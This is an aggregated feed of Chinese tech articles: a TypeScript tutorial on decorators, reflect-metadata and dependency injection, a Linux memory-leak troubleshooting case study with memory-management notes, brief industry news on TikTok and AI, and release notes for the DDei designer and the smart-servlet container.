function logClass(constructor: Function) {
    console.log(`Class ${constructor.name} has been instantiated.`);
    // 这里可以对构造函数进行修改或包装,这里仅添加日志
    return class extends constructor {
        constructor(...args: any[]) {
            console.log(`Before instantiation of ${constructor.name}`);
            super(...args);
            console.log(`After instantiation of ${constructor.name}`);
        }
    };
}

// 使用类装饰器
@logClass
class MyClass {
    constructor() {
        console.log("MyClass constructor");
    }
}

// 创建类的实例,触发装饰器
const myClassInstance = new MyClass();

输出解释

  • MyClasslogClass 装饰器装饰时,首先输出 Class MyClass has been instantiated.,表明装饰器已被应用。
  • 创建 MyClass 的实例时,会先输出 Before instantiation of MyClass,接着执行原始的 MyClass 构造函数,输出 MyClass constructor,最后输出 After instantiation of MyClass
方法装饰器

方法装饰器可以修改类方法的行为,常用于添加日志记录、性能监控等功能。以下是一个示例:

// 方法装饰器函数,接收三个参数:目标对象、方法名和属性描述符
function logMethod(target: any, methodName: string, descriptor: PropertyDescriptor) {
    const originalMethod = descriptor.value;
    descriptor.value = function (...args: any[]) {
        console.log(`Calling method ${methodName} with args: ${JSON.stringify(args)}`);
        const startTime = Date.now();
        const result = originalMethod.apply(this, args);
        const endTime = Date.now();
        console.log(`Method ${methodName} returned: ${JSON.stringify(result)} in ${endTime - startTime}ms`);
        return result;
    };
    return descriptor;
}

class MyClass {
    @logMethod
    myMethod(param: string) {
        console.log(`Executing myMethod with param: ${param}`);
        return `Hello, ${param}`;
    }
}

// 使用类和方法
const myClassInstance = new MyClass();
myClassInstance.myMethod("World");

输出解释

  • 调用 myMethod 时,首先输出 Calling method myMethod with args: ["World"],显示方法调用及传入的参数。
  • 随后执行 myMethod 的原始逻辑,输出 Executing myMethod with param: World
  • 最后输出 Method myMethod returned: "Hello, World" in [X]ms,其中 [X] 是方法执行的时间,展示了性能监控的效果。
属性装饰器

属性装饰器可修改属性的描述符或添加额外逻辑,常用于属性的访问和修改监控。以下是一个示例:

// 属性装饰器函数,接收两个参数:目标对象和属性名
function logProperty(target: any, propertyName: string) {
    let value: any;
    const getter = () => {
        console.log(`Getting value of ${propertyName}: ${value}`);
        return value;
    };
    const setter = (newVal: any) => {
        console.log(`Setting value of ${propertyName}: ${newVal}`);
        value = newVal;
    };
    Object.defineProperty(target, propertyName, {
        get: getter,
        set: setter,
        enumerable: true,
        configurable: true
    });
    return target;
}

class MyClass {
    @logProperty
    myProperty: string = "Initial Value";
}

// 使用类和属性
const myClassInstance = new MyClass();
console.log(myClassInstance.myProperty);
myClassInstance.myProperty = "New Value";

输出解释

  • 当访问 myProperty 时,输出 Getting value of myProperty: Initial Value
  • 当修改 myProperty 的值时,输出 Setting value of myProperty: New Value
参数装饰器

参数装饰器可修改参数的行为或添加额外逻辑,通常用于对方法的参数进行操作或验证。以下是一个示例:

// 参数装饰器函数,接收三个参数:目标对象、方法名和参数索引
function logParameter(target: any, methodName: string, parameterIndex: number) {
    console.log(`Parameter at index ${parameterIndex} of method ${methodName} has been logged.`);
    return target;
}

class MyClass {
    myMethod(@logParameter param: string) {
        console.log(`Executing myMethod with param: ${param}`);
    }
}

// 使用类和方法
const myClassInstance = new MyClass();
myClassInstance.myMethod("World");

输出解释

  • 当调用 myMethod 时,首先输出 Parameter at index 0 of method myMethod has been logged.,表明该参数已被装饰器记录。

在使用装饰器时,确保在 tsconfig.json 中启用 experimentalDecorators 选项,以确保 TypeScript 编译器的支持:

{
    "compilerOptions": {
        "experimentalDecorators": true
    }
}

二、reflect-metadata:元数据操作的核心库

概述

reflect-metadata 为 JavaScript 和 TypeScript 提供了元数据反射 API,允许我们为代码元素(类、方法、属性和参数)添加元数据,这些元数据可在运行时进行操作,极大地增强了代码的灵活性和可扩展性。

核心功能及元数据解释

元数据的基本操作:添加和获取

使用 Reflect.defineMetadata 方法添加元数据,使用 Reflect.getMetadata 方法获取元数据。例如:

import 'reflect-metadata';

class MyClass {
    @Reflect.metadata('version', '1.0')
    method() {}
}

const version = Reflect.getMetadata('version', MyClass.prototype, 'method');
console.log(version); // 输出 '1.0'

元数据解释

  • Reflect.metadata('version', '1.0')MyClassmethod 方法添加了元数据,元数据键是 version,值为 1.0
  • Reflect.getMetadata('version', MyClass.prototype, 'method')MyClass.prototypemethod 方法中获取 version 元数据,输出为 1.0
与自定义装饰器结合使用

reflect-metadata 与自定义装饰器结合,可以创建功能更强大的装饰器。例如,使用元数据进行属性长度验证:

import 'reflect-metadata';

const MinLength = (minLength: number) => (target: any, propertyKey: string) => {
    Reflect.defineMetadata('minLength', minLength, target, propertyKey);
};

class MyClass {
    @MinLength(5)
    name: string;
}

const minLength = Reflect.getMetadata('minLength', MyClass.prototype, 'name');
console.log(minLength); // 输出 5

元数据解释

  • MinLength 装饰器使用 Reflect.defineMetadataMyClassname 属性添加了 minLength 元数据,其值为 5,可用于后续的验证逻辑。
关于 design:paramtypesinject:paramtypes
  • design:paramtypes

    • 这是 reflect-metadata 中的一个特殊键,用于存储构造函数或方法的参数类型信息。当使用 Reflect.getMetadata('design:paramtypes', target, propertyKey) 时,可以获取目标(类的构造函数或方法)的参数类型数组。在 TypeScript 中,编译器会自动为构造函数和方法生成这些元数据,存储参数的类型信息。
    • 例如:
    import 'reflect-metadata';
    
    class MyClass {
        constructor(param1: string, param2: number) {}
    }
    
    const paramTypes = Reflect.getMetadata('design:paramtypes', MyClass, 'constructor');
    console.log(paramTypes); // 输出 [String, Number]
    

    这里,design:paramtypes 存储了 MyClass 构造函数的参数类型信息,便于在运行时进行依赖注入等操作。

  • inject:paramtypes

    • 这是我们自定义的元数据键,通常用于存储依赖注入的信息。在自定义的依赖注入系统中,我们可以使用这个键来存储哪些参数需要注入依赖以及它们的标识符。
    • 例如:
    import 'reflect-metadata';
    import { container } from './container';
    
    export function inject(serviceIdentifier: symbol) {
        return (target: any, _: string | undefined, parameterIndex: number) => {
            // 获取已存储的注入参数数组,如果不存在则创建新数组
            const existingParams = Reflect.getMetadata('inject:paramtypes', target) || [];
            const params = Array.isArray(existingParams)? existingParams : [];
            
            // 在正确的位置存储服务标识符
            params[parameterIndex] = { id: serviceIdentifier };
            
            // 存储整个参数数组
            Reflect.defineMetadata('inject:paramtypes', params, target);
        };
    }
    
    class MyClass {
        constructor(@inject(Symbol.for('MyService')) private myService: any) {}
    }
    
    const injectParamTypes = Reflect.getMetadata('inject:paramtypes', MyClass, 'constructor');
    console.log(injectParamTypes); // 输出 [{ id: Symbol(MyService) }]
    

    这里,inject:paramtypes 存储了 MyClass 构造函数的参数 myService 需要注入的服务标识符,方便在实例化 MyClass 时进行依赖注入。

应用于依赖注入

在依赖注入框架中,reflect-metadata 可存储和获取依赖关系信息,以下是一个更详细的示例:

import 'reflect-metadata';

const Inject = () => (target: any, propertyKey: string, parameterIndex: number) => {
    let metadataKey = `design:paramtypes`;
    let paramTypes: any[] = Reflect.getMetadata(metadataKey, target, propertyKey) || [];
    paramTypes[parameterIndex] = 'MyDependency';
    Reflect.defineMetadata(metadataKey, paramTypes, target, propertyKey);
};

class MyClass {
    constructor(@Inject() myDependency: any) {}
}

const paramTypes = Reflect.getMetadata('design:paramtypes', MyClass, 'constructor');
console.log(paramTypes); // 输出 ['MyDependency']

解释

  • Inject 装饰器利用 reflect-metadata 存储构造函数参数的依赖信息。
  • 通过 Reflect.getMetadata 获取 MyClass 构造函数的参数类型信息,这里我们将其修改为 ['MyDependency'],用于在运行时注入相应的依赖。
运行时类型信息

reflect-metadata 可存储和检索类型信息,这对于 TypeScript 尤其重要,因为其类型信息在编译后通常会被擦除:

import 'reflect-metadata';

class MyClass {
    myMethod(param: string) {}
}

const paramTypes = Reflect.getMetadata('design:paramtypes', MyClass.prototype, 'myMethod');
console.log(paramTypes); // 输出 [String]

解释

  • 这里使用 Reflect.getMetadata 获取 myMethod 的参数类型,输出为 [String],即使在编译后的 JavaScript 代码中,也能在运行时获取类型信息。

使用场景与注意事项

  • 使用场景

    • 验证和序列化:使用元数据为属性添加验证规则,在运行时验证属性的合法性。
    • 依赖注入:像 Angular 这样的框架使用 reflect-metadata 存储和管理依赖关系,根据存储的元数据在运行时注入依赖。
    • 文档生成:添加描述、参数说明等元数据,根据这些信息生成更完善的文档。
    • AOP(面向切面编程):使用元数据标记方法或属性,结合装饰器实现切面逻辑。
  • 注意事项

    • 在 TypeScript 中使用 reflect-metadata 时,需要启用 experimentalDecoratorsemitDecoratorMetadata 选项:
    {
      "compilerOptions": {
        "experimentalDecorators": true,
        "emitDecoratorMetadata": true
      }
    }
    
    • 确保在代码中导入 reflect-metadata 库,它通过全局的 Reflect 对象提供 API。

三、IOC(控制反转):实现松耦合的设计原则

概念与重要性

IOC(Inversion of Control)是一项重要的软件设计原则,其核心是将对象的创建以及对象间的依赖关系管理从应用程序代码中分离出来,交由外部容器负责。这有助于降低对象之间的耦合度,使代码更易于维护、扩展和测试。

代码结构
  • container.ts

    import 'reflect-metadata';
    
    export class Container {
      private static instance: Container;
      private services: Map<symbol, any>;
    
      private constructor() {
        this.services = new Map();
      }
    
      static getInstance(): Container {
        if (!Container.instance) {
          Container.instance = new Container();
        }
        return Container.instance;
      }
    
      bind(identifier: symbol, instance: any) {
        this.services.set(identifier, instance);
      }
    
      get(identifier: symbol): any {
        return this.services.get(identifier);
      }
    }
    
    export const container = Container.getInstance();
    

    输出解释

    • Container 类是一个单例类,用于存储服务。bind 方法将服务与唯一标识符绑定,get 方法根据标识符获取服务。
  • decorators.ts

    import 'reflect-metadata';
    import { container } from './container';
    
    export const TYPE = {
      userService: Symbol.for('UserService'),
      logService: Symbol.for('LogService'),
    };
    
    export function inject(serviceIdentifier: symbol) {
      return (target: any, _: string | undefined, parameterIndex: number) => {
        // 获取已存储的注入参数数组,如果不存在则创建新数组
        const existingParams = Reflect.getMetadata('inject:paramtypes', target) || [];
        const params = Array.isArray(existingParams)? existingParams : [];
        
        // 在正确的位置存储服务标识符
        params[parameterIndex] = { id: serviceIdentifier };
        
        // 存储整个参数数组
        Reflect.defineMetadata('inject:paramtypes', params, target);
      };
    }
    
    export function service(identifier: symbol) {
      return (target: any) => {
        // 获取注入的参数信息数组
        const params = Reflect.getMetadata('inject:paramtypes', target) || [];
        console.log('service-->params', params);
        
        // 创建实例并注入依赖
        const dependencies = params.map((param: any) => 
          param? container.get(param.id) : undefined
        );
        
        const instance = new target(...dependencies);
        
        // 注册到容器
        container.bind(identifier, instance);
      };
    }
    

    输出解释

    • inject 装饰器存储依赖注入的元数据,service 装饰器根据存储的元数据进行依赖注入并将实例绑定到容器。
  • services.ts

    import { service, inject, TYPE } from "./decorators";
    
    // 日志服务接口
    interface ILogService {
      log(message: string): void;
    }
    
    // 日志服务实现
    @service(TYPE.logService)
    class LogService implements ILogService {
      log(message: string) {
        console.log(`[Log]: ${message}`);
      }
    }
    
    // 用户服务接口
    interface IUserService {
      createUser(name: string): void;
    }
    
    // 用户服务实现
    @service(TYPE.userService)
    class UserService implements IUserService {
      constructor(@inject(TYPE.logService) private logService: ILogService) {}
    
      createUser(name: string) {
        this.logService.log(`Creating user: ${name}`);
      }
    }
    

    输出解释

    • LogServiceUserService 分别实现了日志和用户服务,使用装饰器进行服务注册和依赖注入。
  • index.ts

    import "reflect-metadata";
    import { container } from "./container";
    import "./services"; // 确保服务被装饰器处理
    import { TYPE } from "./decorators";
    
    // 获取服务实例
    const userService = container.get(TYPE.userService);
    userService.createUser("John"); // 输出: [Log]: Creating user: John
    

    输出解释

    • 从容器中获取 UserService 并调用 createUser 方法,输出 [Log]: Creating user: John,展示了服务的调用和依赖注入的效果。

解释

  • 在这个综合示例中,reflect-metadata 库和自定义装饰器共同实现了更复杂的 IOC 和 DI 机制。
  • container.ts 中的 Container 类是核心容器,管理服务的存储和获取。
  • decorators.tsinject 装饰器利用 reflect-metadata 存储依赖注入信息,service 装饰器在类实例化时处理依赖注入并绑定实例到容器。
  • services.ts 中的服务实现类通过装饰器实现依赖注入和服务注册。
  • 最后,index.ts 展示了如何使用容器获取服务并调用其方法,实现服务间的协作。

通过深入探讨装饰器、reflect-metadata 和 IOC,我们可以看到它们在软件开发中的强大功能和重要性。它们有助于构建更灵活、可维护和可测试的软件系统,在不同的开发场景中发挥着关键作用。希望本文能帮助你更好地理解这些技术,并在你的项目中灵活运用它们。

by 涛涛_江 at January 17, 2025 02:12 AM

oschina news industry

知情人士称拜登政府将不执行 TikTok 禁令,交由特朗普处理

当地时间1月16日,据美国广播公司(ABC)援引知情政府官员信息,拜登政府表示将不会强制执行原计划于1月19日生效的TikTok禁令,相关工作将交与即将上任的特朗普政府处理。

该官员在一份声明中称,TikTok应在美国所有权下继续运营,但鉴于禁令生效的时机恰逢拜登政府离任前一天,因此将由下一届政府负责处理。

根据美国国会通过的法案,若TikTok未能在1月19日前完成从中国母公司字节跳动的剥离,则将被禁止在美国运营。

此前,有消息称,美国当选总统特朗普正在考虑在上任后发布一项行政命令,暂停执行TikTok禁令60至90天。

2024年4月,美国总统拜登打着所谓“保护国家安全”的旗号,签署一项国会通过的“不卖就禁”法案,要求TikTok母公司字节跳动在2025年1月19日前将TikTok出售给非中国企业,否则这款应用程序将在美国被禁用。

TikTok在美拥有1.7亿用户。面对美无理法案,字节跳动多次明确表示,不会出售TikTok业务。

by 来源: OSCHINA at January 17, 2025 02:12 AM

oschina news project

DDei 在线设计器-V1.2.46 版发布

V1.2.46

1.优化线段寻路策略,增加全局避障参数,新增关于线段避障的三个右键菜单选项

2.优化线的子控件遮挡策略,清空线的子控件与线重叠部分的线段图像

 

 

 

 

3.DFlow-流程图插件V1.0.2 更新发布,支持流程自动排版和流转过程树形自动排版

 

by 来源: 投稿 at January 17, 2025 01:45 AM

juejin article

Linux内存泄露案例分析和内存管理分享

作者:京东科技 李遵举

一、问题

近期我们运维同事接到线上LB(负载均衡)服务内存报警,运维同事反馈说LB集群有部分机器的内存使用率超过80%,有的甚至超过90%,而且内存使用率还再不停的增长。接到内存报警的消息,让整个团队都比较紧张,我们团队负责的LB服务是零售、物流、科技等业务服务的流量入口,承接上万个服务的流量转发,一旦有故障影响业务服务比较多,必须马上着手解决内存暴涨的问题。目前只是内存报警,暂时不影响业务,先将内存使用率90%以上的LB服务下线,防止内存过高导致LB服务崩溃,影响业务,运维同事密切关注相关的内存报警的消息。

二、排查过程

经过开发同学通过cat /proc/meminfo查看Slab的内核内存可能有泄漏。

$ cat /proc/meminfo
MemTotal:       65922868 kB
MemFree:         9001452 kB
...
Slab:           39242216 kB
SReclaimable:   38506072 kB
SUnreclaim:       736144 kB
....

通过slabtop命令分析slab发现内核中dentry对象占比高,考虑到dentry对象跟文件有关,Linux中一切皆可以为文件,这个可能跟socket文件有关,通过进一步排查发现LB服务上有个curl发送的HTTPS探测脚本,这个脚本存在dentry对象泄漏,并且在curl论坛上找到一篇文章确认了这个问题,这个文章说明了curl-7.19.7版本在发送HTTPS请求时,curl依赖的NSS库存在dentry泄漏的bug,我查看一下我们curl版本就是7.19.7,问题终于真相大白了!!!

$ curl -V
curl 7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.15.3 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Protocols: tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
Features: GSS-Negotiate IDN IPv6 Largefile NTLM SSL libz

$ rpm -aq|grep nss-
nss-util-3.16.1-3.el6.x86_64
nss-sysinit-3.16.1-14.el6.x86_64
nss-softokn-freebl-3.14.3-17.el6.x86_64
nss-softokn-3.14.3-17.el6.x86_64
nss-3.16.1-14.el6.x86_64
nss-tools-3.16.1-14.el6.x86_64

文章中介绍可以设置环境变量NSS_SDB_USE_CACHE修复这个bug,我们验证通过了这个解决方案。

三、解决方案

1、目前先将探测脚本停止,在业务流量低峰时将内存使用率超过90%的服务先通过drop_caches清理一下缓存。

2、等大促过后,探测脚本中设置环境变量NSS_SDB_USE_CACHE,彻底修复这个问题。

四、复盘和总结

这次内存暴涨的问题根本原因是curl-7.19.7依赖的NSS库存在dentry泄漏的bug导致的,探测脚本只是将这个问题暴露出来。这次问题由Linux内存泄漏引发的问题,因此以点带面再次系统学习一下Linux内存管理的知识非常有必要,对我们以后排查内存暴涨的问题非常有帮助。

1)Linux内存寻址

Linux内核主要通过虚拟内存管理进程的地址空间,内核进程和用户进程都只会分配虚拟内存,不会分配物理内存,通过内存寻址将虚拟内存与物理内存做映射。Linux内核中有三种地址,

a、逻辑地址,每个逻辑地址都由一段(segment)和偏移量(offset)组成,偏移量指明了从段开始的地方到实际地址之间的距离。

b、线性地址,又称虚拟地址,是一个32个无符号整数,32位机器内存高达4GB,通常用十六进制数字表示,Linux进程的内存一般说的都是这个内存。

c、物理地址,用于内存芯片级内存单元寻址。它们与从CPU的地址引脚发送到内存总线上的电信号对应。

Linux中的内存控制单元(MMU)通过一种称为分段单元(segmentation unit)的硬件电路把一个逻辑地址转换成线性地址,接着,第二个称为分页单元(paging unit)的硬件电路把线性地址转换成一个物理地址。





2)Linux分页机制

分页单元把线性地址转换成物理地址。线性地址被分成以固定长度为单位的组,称为(page)。页内部连续的线性地址被映射到连续的物理地址中。一般"页"既指一组线性地址,又指包含这组地址中的数据。分页单元把所有的RAM分成固定长度的页框(page frame),也成物理页。每一页框包含一个页(page),也就是说一个页框的长度与一个页的长度一致。页框是主存的一部分,因此也是一个存储区域。区分一页和一个页框是很重要的,前者只是一个数据块,可以存放任何页框或者磁盘中。把线性地址映射到物理地址的数据结构称为页表(page table)。页表存放在主存中,并在启用分页单元之前必须有内核对页表进行适当的初始化。

x86_64的Linux内核采用4级分页模型,一般一页4K,4种页表:

a、页全局目录

b、页上级目录

c、页中间目录

d、页表

页全局目录包含若干页上级目录,页上级目录又依次包含若干页中间目录的地址,而页中间目录又包含若干页表的地址。每个页表项指向一个页框。线性地址被分成5部分。





3)NUMA架构

随着CPU进入多核时代,多核CPU通过一条数据总线访问内存延迟很大,因此NUMA架构应运而生,NUMA架构全称为非一致性内存架构 (Non Uniform Memory Architecture),系统的物理内存被划分为几个节点(node),每个node绑定不同的CPU核,本地CPU核直接访问本地内存node节点延迟最小。





可以通过lscpu命令查看NUMA与CPU核的关系。

$ lscpu
Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                32
On-line CPU(s) list:   0-31
Thread(s) per core:    2
Core(s) per socket:    8
Socket(s):             2
NUMA node(s):          2
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 62
Stepping:              4
CPU MHz:               2001.000
BogoMIPS:              3999.43
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              256K
L3 cache:              20480K
NUMA node0 CPU(s):     0-7,16-23      #这些核绑定在numa 0
NUMA node1 CPU(s):     8-15,24-31     #这些核绑定在numa 1

4)伙伴关系算法

Linux内核通过著名伙伴关系算法为分配一组连续的页框而建立一种健壮、稳定的内存分配策略,是内核中一种内存分配器,并解决了内存管理外碎片的问题,外碎片是指频繁地请求和释放不同大小的一组连续页框,必然导致在已分配的页框的块分散了许多小块的空闲页框。

5)Slab机制

slab机制的核心思想是以对象的观点来管理内存,主要是为了解决内部碎片,内部碎片是由于采用固定大小的内存分区,即以固定的大小块为单位来分配,采用这种方法,进程所分配的内存可能会比所需要的大,这多余的部分便是内部碎片。slab也是内核中一种内存分配器,slab分配器基于对象进行管理的,所谓的对象就是内核中的数据结构(例如:task_struct,file_struct 等)。相同类型的对象归为一类,每当要申请这样一个对象时,slab分配器就从一个slab列表中分配一个这样大小的单元出去,而当要释放时,将其重新保存在该列表中,而不是直接返回给伙伴系统,从而避免内部碎片。上面中说到的dentry对象就是通过slab分配器分配的一种对象。

slab和伙伴系统是上下级的调用关系,伙伴关系按照页管理内存,slab按照字节管理,slab先从伙伴系统获取数个页的内存,然后切成分成固定的小块(称为object),然后再按照声明的对象数据结构分配对象。

6)进程内存分布

所有进程都必须占用一定数量的内存,这些内存用来存放从磁盘载入的程序代码,或存放来自用户输入的数据等。内存可以提前静态分配和统一回收,也可以按需动态分配和回收。对于普通进程对应的内存空间包含5种不同的数据区:

a、代码段(text):程序代码在内存中的映射,存放函数体的二进制代码,通常用于存放程序执行代码(即CPU执行的机器指令)。

b、数据段(data):存放程序中已初始化且初值不为0的全局变量和静态局部变量。数据段属于静态内存分配(静态存储区),可读可写。

c、BSS段(bss):未初始化的全局变量和静态局部变量。

d、堆(heap):动态分配的内存段,大小不固定,可动态扩张(malloc等函数分配内存),或动态缩减(free等函数释放)。

e、栈(stack):存放临时创建的局部变量。







Linux内核是操作系统中优先级最高的,内核函数申请内存必须及时分配适当的内存,用户态进程申请内存被认为是不紧迫的,内核尽量推迟给用户态的进程动态分配内存。

a、请求调页,推迟到进程要访问的页不在RAM中时为止,引发一个缺页异常。

b、写时复制(COW),父、子进程共享页框而不是复制页框,但是共享页框不能被修改,只有当父/子进程试图改写共享页框时,内核才将共享页框复制一个新的页框并标记为可写。

7)Linux内存检测工具

a、free命令可以监控系统内存

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           31Gi        13Gi       8.0Gi       747Mi        10Gi        16Gi
Swap:         2.0Gi       321Mi       1.7Gi

b、top命令查看系统内存以及进程内存

VIRT Virtual Memory Size (KiB):进程使用的所有虚拟内存,包括代码(code)、数据(data)、共享库(shared libraries),以及被换出(swap out)到交换区和映射了(map)但尚未使用(未载入实体内存)的部分。

RES Resident Memory Size (KiB):进程所占用的所有实体内存(physical memory),不包括被换出到交换区的部分。

SHR Shared Memory Size (KiB):进程可读的全部共享内存,并非所有部分都包含在 RES 中。它反映了可能被其他进程共享的内存部分。

c、smaps文件

cat /proc/$pid/smaps查看某进程虚拟内存空间的分布情况

0082f000-00852000 rw-p 0022f000 08:05 4326085    /usr/bin/nginx/sbin/nginx
Size:                140 kB
Rss:                 140 kB
Pss:                  78 kB
Shared_Clean:         56 kB
Shared_Dirty:         68 kB
Private_Clean:         4 kB
Private_Dirty:        12 kB
Referenced:          120 kB
Anonymous:            80 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB

d、vmstat

vmstat是Virtual Meomory Statistics(虚拟内存统计)的缩写,可实时动态监视操作系统的虚拟内存、进程、CPU活动。

## 每秒统计3次
$ vmstat 1 3
procs -----------memory---------------- ---swap-- -----io---- --system-- -----cpu-----
 r  b    swpd   free   buff  cache       si   so    bi    bo   in   cs us sy id  wa st
 0  0      0 233483840 758304 20795596    0    0     0     1    0    0  0  0 100  0  0
 0  0      0 233483936 758304 20795596    0    0     0     0 1052 1569  0  0 100  0  0
 0  0      0 233483920 758304 20795596    0    0     0     0  966 1558  0  0 100  0  0

e、meminfo文件

Linux系统中/proc/meminfo这个文件用来记录了系统内存使用的详细情况。

$ cat /proc/meminfo
MemTotal:        8052444 kB
MemFree:         2754588 kB
MemAvailable:    3934252 kB
Buffers:          137128 kB
Cached:          1948128 kB
SwapCached:            0 kB
Active:          3650920 kB
Inactive:        1343420 kB
Active(anon):    2913304 kB
Inactive(anon):   727808 kB
Active(file):     737616 kB
Inactive(file):   615612 kB
Unevictable:         196 kB
Mlocked:             196 kB
SwapTotal:       8265724 kB
SwapFree:        8265724 kB
Dirty:               104 kB
Writeback:             0 kB
AnonPages:       2909332 kB
Mapped:           815524 kB
Shmem:            732032 kB
Slab:             153096 kB
SReclaimable:      99684 kB
SUnreclaim:        53412 kB
KernelStack:       14288 kB
PageTables:        62192 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:    12291944 kB
Committed_AS:   11398920 kB
VmallocTotal:   34359738367 kB
VmallocUsed:           0 kB
VmallocChunk:          0 kB
HardwareCorrupted:     0 kB
AnonHugePages:   1380352 kB
CmaTotal:              0 kB
CmaFree:               0 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB
DirectMap4k:      201472 kB
DirectMap2M:     5967872 kB
DirectMap1G:     3145728 kB

总结部分中一些内容来源于《深入理解Linux内核》,一些内容根据个人理解写出的,有不对地方欢迎指正,部分图片来源于网络

by 京东云开发者 at January 17, 2025 01:25 AM

oschina news industry

天天 AI-20250117

Anthropic 重磅推荐:构建有效的代理

上一篇我们讲了 Google AI 智能体白皮书,本文我们将来看看 Anthropic Agent 在理解上有何不同?本报告由 Erik Schluntz 和 Barry Zhang 撰写。该工作借鉴了Anthropic 在构建代理方面的经验,以及客户分享的宝贵见解,2AGI 推荐收藏阅读!来源

Luma发布视频模型Ray2:逼真到难以分辨,算力扩大10倍

AIGC开放社区报道了Luma发布的视频模型Ray2,这一模型的逼真度达到了难以分辨的水平,同时算力需求扩大了10倍。Ray2的发布不仅展示了视频生成技术的巨大进步,也为未来的视频内容创作提供了新的可能性。来源

最新扣子(coze)微信小程序搭建:爆款小红书之”好好说话”图文生成,超详细制作过程快来瞧瞧吧.

杰克船长的AIGC提供了最新扣子(coze)微信小程序的搭建教程,特别是如何生成小红书上的“好好说话”图文内容。这一教程为开发者提供了详细的步骤和方法,降低了技术门槛,使得更多人能够参与到AI应用的开发中。来源

小红书产业链,谁是盈利最强企业?

数说商业探讨了小红书产业链中的盈利最强企业,分析了各企业在内容创作、广告投放和电商转化方面的表现。这一讨论为理解小红书产业链的商业模式和发展趋势提供了宝贵的视角。来源

OpenAI重磅:Function Calling 2.0!

探索AGI报道了OpenAI发布的Function Calling 2.0,这一新功能显著提升了AI模型的调用效率和灵活性。Function Calling 2.0的发布不仅推动了AI技术的发展,也为开发者提供了更强大的工具。来源

传 TikTok 计划周日完全关停美业务;OpenAI 推出新功能「Tasks」;《王者荣耀》纯血鸿蒙版上线 | 极客早知道

极客公园报道了TikTok计划周日完全关停美业务的消息,同时OpenAI推出了新功能「Tasks」,《王者荣耀》纯血鸿蒙版也正式上线。这些动态反映了AI技术在社交媒体、游戏等领域的广泛应用和影响。来源

赶在下台前下手?拜登突然向智谱 AI 挥刀,与詹克团芯片公司齐进“黑名单”!最新回应来了

AI前线报道了拜登政府对智谱AI的政策影响,智谱AI和詹克团芯片公司被纳入“黑名单”。这一事件引发了对国际科技竞争和政策影响的广泛讨论,同时也展示了智谱AI在AI领域的影响力。来源

OpenAI 最强竞对 Anthropic:如何构建有效的 Agent

AI前线探讨了OpenAI的最强竞对Anthropic,分析了其在构建有效Agent方面的技术和策略。这一讨论不仅展示了Anthropic的技术实力,也为AI技术的未来发展提供了新的思路。来源

AI与软件产业的明天:中美视角的年度技术观察&前瞻 | 直播预告

AI前线预告了一场关于AI与软件产业未来的直播活动,活动将从中美视角出发,探讨AI技术在软件产业中的应用和发展趋势。这一讨论不仅为行业人士提供了交流的平台,也为普通用户提供了了解AI发展的机会。来源

实体清单扩散至大模型公司,美国“AI出口禁令”一边被美国公司骂,一边已开始发力

硅星人Pro报道了美国“AI出口禁令”的最新动态,指出实体清单已经扩散至大模型公司。这一政策不仅引发了美国公司的不满,也已经开始对相关公司产生实际影响。这一事件反映了国际科技竞争的复杂性和政策的双重影响。来源

Transformer作者初创重磅发布Transformer²!AI模型活了,动态调整自己权重

硅星人Pro报道了Transformer作者初创公司发布的Transformer²,这一新模型能够动态调整自己的权重,标志着AI模型的进一步智能化。Transformer²的发布不仅展示了AI技术的创新潜力,也为未来的模型设计提供了新的思路。来源

苹果AI手机,散热新增需求!

行业精选探讨了苹果AI手机在散热方面的新需求,指出随着AI技术在手机中的应用,散热成为了一个关键问题。这一讨论不仅揭示了AI技术在硬件设计中的挑战,也为相关技术的发展提供了新的方向。来源

 

🔥 热门文章推荐(2AGI.NET)

扫码加入社群,参与讨论

2AGI 技术社区,欢迎扫码加入

by 来源: 投稿 at January 17, 2025 12:58 AM

oschina news project

🎉【信创优选】国产开源 Servlet 容器 v2.8 发布

1、smart-servlet 简介

smart-servlet 是一个基于 Jakarta Servlet 6.1 的轻量级 Servlet 容器,适用于 Java 17+ 环境。

产品特色

  • 国产血统:全球首款全栈核心技术自研的国产 Servlet 容器。

  • 性能优越:搭载最新版通信微内核(smart-socket)和 Web 服务平台 (FEAT)。

  • 安全可靠:严格遵循协议规范;支持加密传输方式。

  • 极致轻量:发行包仅 1MB。

  • 简洁易用:支持 War 包、springboot、maven-plugin 等多种运行模式,使用体验 100% 兼容 Tomcat

目标用户

  • 有着「信创需求」的企业用户。

  • 对服务并发能力要求高的企业用户。

  • 想要研究 servlet 技术的个人开发者。

性能测试报告

2、 版本更新

自 smart-servlet v2.7版本起,底层的 Web 平台已从 smart-http 迁移至 Feat。经过这几周的磨合,Feat 在平台设计上的改进使得 smart-servlet 的规范实现愈加完善。

如今 smart-servlet TCK 测试通过率已高达 99.8%,仅剩 3 个用例有待改进。

更新内容:

  1. 🚀新增 PROXY Protocol 特性。

  2. 🚀开放 http.debugEnable 配置参数,用于开发模式下控制台打印 HTTP 报文。

  3. 🚀实现 HttpServletRequest#upgrade  规范。

  4. 🛠️优化 HttpServletResponse#getContentType 实现规范。

  5. 🛠️优化 HttpServletResponse#setLocale 实现规范。

  6. 🛠️优化 WebSocketContainer 实现规范。

3、快速上手

我们提供了三种方式启用 smart-servlet,您可根据实际情况选择其中适用的一种。

方式一:maven 插件

这是一种类似:tomcat-maven-plugin 的使用方式,通常应用于 Java Web 工程的本地开发环境。集成该插件只需在 pom.xml 中加入以下代码,便可以在 IDE 中启动 servlet 服务。

<build>
    <plugins>
        <plugin>
            <groupId>tech.smartboot.servlet</groupId>
            <artifactId>smart-servlet-maven-plugin</artifactId>
            <version>{最新版本}</version>
            <configuration>
                <port>8080</port>
                <path>/portal</path>
            </configuration>
        </plugin>
    </plugins>
</build>

插件的版本建议采用最新版本,另外主要的配置项包括:

  • port:servlet 服务启动的监听端口

